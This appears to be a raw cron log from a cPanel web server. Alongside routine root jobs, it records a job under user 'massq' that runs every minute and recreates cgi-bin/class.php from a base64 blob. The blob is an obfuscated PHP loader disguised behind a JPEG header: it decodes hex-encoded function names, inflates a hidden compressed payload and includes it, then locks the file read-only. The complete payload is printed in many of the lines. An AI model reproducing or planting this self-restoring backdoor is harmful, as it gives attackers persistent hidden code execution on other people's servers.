"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:41:01 server CROND[26717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:42:01 server CROND[26796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:42:01 server CROND[26797]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 00:43:01 server CROND[26867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:44:01 server CROND[26934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:45:01 server CROND[27098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:45:01 server CROND[27099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:45:01 server CROND[27100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:46:01 server CROND[27210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:47:01 server CROND[27285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:48:01 server CROND[27349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:49:01 server CROND[27423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:50:01 server CROND[27570]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 00:50:01 server CROND[27571]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 00:50:01 server CROND[27573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:50:01 server CROND[27575]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:50:01 server CROND[27578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:51:01 server CROND[27734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:52:01 server CROND[27796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:53:01 server CROND[27874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
